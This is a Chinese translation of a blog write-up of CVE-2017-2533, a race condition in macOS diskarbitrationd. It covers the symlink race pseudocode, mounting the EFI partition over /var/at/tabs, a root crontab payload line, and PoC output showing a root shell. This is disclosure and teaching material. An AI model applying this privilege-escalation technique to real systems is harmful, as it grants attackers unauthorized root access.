Safari沙箱逃逸:利用macOS磁盘仲裁竞态条件获取root shell

本文详细分析了CVE-2017-2533漏洞,这是一个macOS磁盘仲裁服务中的竞态条件漏洞,允许本地管理员通过符号链接和挂载操作绕过权限检查,最终获得root权限并实现Safari沙箱逃逸。

Pwn2Own: Safari沙箱第一部分 - 挂载获取root shell

2017年6月9日 • 作者:niklasb

今天我们要介绍的是CVE-2017-2533/ZDI-17-357,这是一个macOS系统服务中的竞态条件漏洞,可用于将权限从本地管理员提升到root。我们在今年的Pwn2Own比赛中结合其他逻辑漏洞利用此漏洞逃逸了Safari沙箱。

该漏洞存在于磁盘仲裁守护进程(Disk Arbitration daemon)中,该进程负责管理macOS上的块设备。其IPC接口可以从Safari沙箱内部访问,这使其成为我们感兴趣的目标。通过利用该漏洞,我们可以在任何非SIP保护的目录上挂载磁盘分区。由于每台最近的MacBook都有一个小的FAT32恢复分区,默认用户有权写入,这使我们能够将任意内容的文件放入文件系统并获得root权限。

漏洞发现

在Safari渲染器中实现代码执行后,我们的目标是横向移动到更高权限的系统进程,因此我们通过查看允许的mach查找列表(即我们可以通过mach IPC与之通信的服务)开始审计。该列表可以在沙箱规则文件/System/Library/Frameworks/WebKit.framework/Versions/A/Resources/com.apple.WebProcess.sb中找到,开头如下:

1
2
3
4
5
(allow mach-lookup
       (global-name "com.apple.DiskArbitration.diskarbitrationd")
       (global-name "com.apple.FileCoordination")
       (global-name "com.apple.FontObjectsServer")
       ...

列表中的第一个立即引起了我们的注意。磁盘仲裁是Apple负责管理(主要是挂载和卸载)块设备的框架,而diskarbitrationd是处理相应IPC请求的服务。为什么浏览器渲染器需要挂载磁盘?这肯定值得进一步调查。

1
2
3
4
$ ps aux | grep diskarbitrationd | grep -v grep
root                86   0.0  0.0  2494876   2132   ??  Ss   Wed10AM   0:00.37 /usr/libexec/diskarbitrationd
$ sudo launchctl procinfo $(pgrep diskarbitrationd) | grep sandboxed
sandboxed = no

正如预期的那样,diskarbitrationd以root身份运行(它必须这样做才能使用mount系统调用)并且没有沙箱化。我们还通过用Swift编写一个小客户端脚本并使用sandbox-exec工具运行com.apple.WebProcess.sb沙箱文件来验证我们可以从沙箱中访问它。考虑到所有这些,diskarbitrationd似乎是一个有趣的目标,因此我们开始审计它。可以从Apple网站下载服务器源代码的旧版本。

我最初寻找内存损坏漏洞,但很快在DARequest.c的第510行发现了以下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/*
 * Determine whether the mount point is accessible by the user.
 */

if ( DADiskGetDescription( disk, kDADiskDescriptionVolumePathKey ) == NULL )
{
    if ( DARequestGetUserUID( request ) )
    {
        CFTypeRef mountpoint;

        mountpoint = DARequestGetArgument2( request );
        // [...]
        if ( mountpoint )
        {
            char * path;

            path = ___CFURLCopyFileSystemRepresentation( mountpoint );

            if ( path )
            {
                struct stat st;

                if ( stat( path, &st ) == 0 )
                {
                    if ( st.st_uid != DARequestGetUserUID( request ) )
                    {
                        // [[ 1 ]]
                        status = kDAReturnNotPermitted;
                    }
                }

这里实现的机制旨在防止具有挂载权限的用户挂载到他们不拥有的目录,例如/etc或/System。它的工作原理如下:如果挂载点存在但不归用户所有,则在[[1]]处产生错误代码kDAReturnNotPermitted。否则,挂载继续进行。此后没有更多检查,如果预期的挂载点存在且diskarbitrationd有足够的权限执行挂载,挂载将成功。这对于所有不受系统完整性保护(SIP)安全机制保护的目录都是如此。

这里存在一个经典的检查时间与使用时间(TOCTOU)问题:如果在检查之后但在挂载之前创建挂载点,即使调用者不拥有挂载点,挂载也可以成功。攻击者可以通过在检查和挂载之间创建指向任意目录的符号链接来绕过检查。

Apple已在macOS Sierra 10.12.5中修补了此漏洞,但尚未发布源代码。如果新源代码可用,我们将更新此帖子并概述补丁。

构建本地管理员到root的漏洞利用

例如,我们可以使用以下伪代码利用该漏洞在任何磁盘上挂载/etc:

1
2
3
4
5
6
7
8
9
disk = "/dev/some-disk-device"

在后台:
  while true:
    创建指向"/"的符号链接"/tmp/foo"
    移除符号链接

while 磁盘未挂载到"/etc":
  向diskarbitrationd发送IPC请求,将磁盘挂载到"/tmp/foo/etc"

最终,检查将在符号链接消失时执行,但挂载将在符号链接存在时发生,因此两者都会通过。此时我们已挂载到/etc,这对于本地管理员用户来说至少应该需要输入密码才能实现。

从权限提升的角度来看,仍然存在两个问题:

  1. 是否存在通常未挂载但本地管理员用户可写的磁盘设备?
  2. 我们想要挂载哪个目录来获得root代码执行?

问题1通过查看所有物理设备很容易解决:

1
2
3
4
5
6
$ ls -alih /dev/disk*
589 brw-r-----  1 root  operator    1,   0 Mar 15 10:27 /dev/disk0
594 brw-r-----  1 root  operator    1,   1 Mar 15 10:27 /dev/disk0s1
598 brw-r-----  1 root  operator    1,   3 Mar 15 10:27 /dev/disk0s2
596 brw-r-----  1 root  operator    1,   2 Mar 15 10:27 /dev/disk0s3
600 brw-r-----  1 root  operator    1,   4 Mar 15 10:27 /dev/disk1

其中有一个适合我们的目的:/dev/disk0s1是EFI分区,这是一个FAT32卷,用于我们所知的所有MacBook上的BIOS更新。它通常不挂载,并且由于它包含FAT文件系统,不支持Unix权限。因此,如果我们以本地管理员用户身份挂载它,我们可以写入它。

也可能使用hdiutil从磁盘映像创建块设备并将其用于漏洞利用,但我尚未能够在该设置中使竞态条件工作。

问题2花了我一段时间才弄清楚。最终我意识到传统的cron守护进程仍然存在于现代macOS操作系统上。它默认不运行,但当在/var/at/tabs中创建crontab文件时,launchd会启动cron守护进程并按预期工作。因此,只需将我们的磁盘设备挂载到/var/at/tabs并将我们的有效负载写入/var/at/tabs/root就足够了:

1
* * * * * touch /tmp/pwned

该命令将每分钟以root身份执行。此时,我们有一个完全工作的方式,可以从本地管理员到root,而无需输入密码。PoC代码可以在文件poc-mount.sh中找到,如果你安装了clang,它会给你一个root shell:

1
2
3
4
5
6
7
8
$ ./poc-mount.sh
Just imagine having that root shell. It's gonna be legen...
wait for it...
dary!
./poc-mount.sh: line 77:  3179 Killed: 9               race_link
sh-3.2# id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),401(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
sh-3.2#

这个漏洞利用本身类似于Windows上的UAC绕过,当与其他一些漏洞结合使用时非常有用。

实现沙箱逃逸

在使用任何磁盘仲裁API之前,我们需要首先提供授权令牌。当发出挂载请求时,diskarbitrationd将尝试使用该令牌获取system.volume..mount权限,其中取决于我们要挂载的卷类型。例如,当我们请求挂载内部磁盘分区/dev/disk0s1时,diskarbitrationd将使用以下逻辑在DASupport.c的DAAuthorize函数中检查授权:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
DAReturn status;

status = kDAReturnNotPrivileged;

    // ...

    AuthorizationRef authorization;

    // [[ 1 ]]
    authorization = DASessionGetAuthorization( session );

    if ( authorization )
    {
        AuthorizationFlags  flags;
        AuthorizationItem   item;
        char *              name;
        AuthorizationRights rights;

        flags = kAuthorizationFlagExtendRights;

        // ...

                        if ( DADiskGetDescription( disk, kDADiskDescriptionDeviceInternalKey ) == kCFBooleanTrue )
                        {
                            // [[ 2 ]]
                            asprintf( &name, "system.volume.internal.%s", right );
                        }

        // ...

        if ( name )
        {
            item.flags       = 0;
            item.name        = name;
            item.value       = NULL;
            item.valueLength = 0;

            rights.count = 1;
            rights.items = &item;

            // [[ 3 ]]
            status = AuthorizationCopyRights( authorization, &rights, NULL, flags, NULL );

            if ( status )
            {
                status = kDAReturnNotPrivileged;
            }

            free( name );
        }
    }

在[[1]]处,获取与会话关联的授权令牌,该令牌是通过IPC调用提前提供的。在[[2]]处,生成字符串system.volume.internal.mount。在[[3]]处,检查令牌是否可以通过AuthorizationCopyRights API获取此权限。此API由com.apple.authd服务实现。

从Safari触发漏洞

让我们看看触发此漏洞需要什么以及我们在沙箱中已经拥有什么:

  • 访问diskarbitrationd的IPC端点 - 检查通过
  • 写入任意目录的权限 - 检查通过

只需能够写入一个特定目录就足够了,因为虽然我们需要将root文件写入挂载的磁盘,但我们可以先将磁盘挂载到该目录,然后仅卸载它并使用漏洞将其挂载到/var/at/tabs。

1
2
(if (positive? (string-length (param "DARWIN_USER_CACHE_DIR")))
    (allow file* (subpath (param "DARWIN_USER_CACHE_DIR"))))

这个来自WebProcess.sb的沙箱规则给我们完全写入权限到/private/var/folders/<some-random-string>/C/com.apple.WebKit.WebContent+com.apple.Safari及其所有子目录。

  • 获取挂载授权令牌的能力 - 不行

虽然本地管理员用户可以获取此权限以挂载卷,但有一个机制可以防止沙箱化进程创建沙箱规则未明确允许的授权令牌。WebProcess.sb不包含形式为(allow authorization-right-obtain ...)的规则,因此我们无法获取任何权限。

  • 创建符号链接的能力 - 不行

Safari沙箱明确禁止创建符号链接:

1
2
(if (defined? 'vnode-type)
        (deny file-write-create (vnode-type SYMLINK)))

在本系列的下一部分中,我们将介绍另外三个漏洞,其中一个用于创建符号链接,另外两个用于绕过授权逻辑中的沙箱检查。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计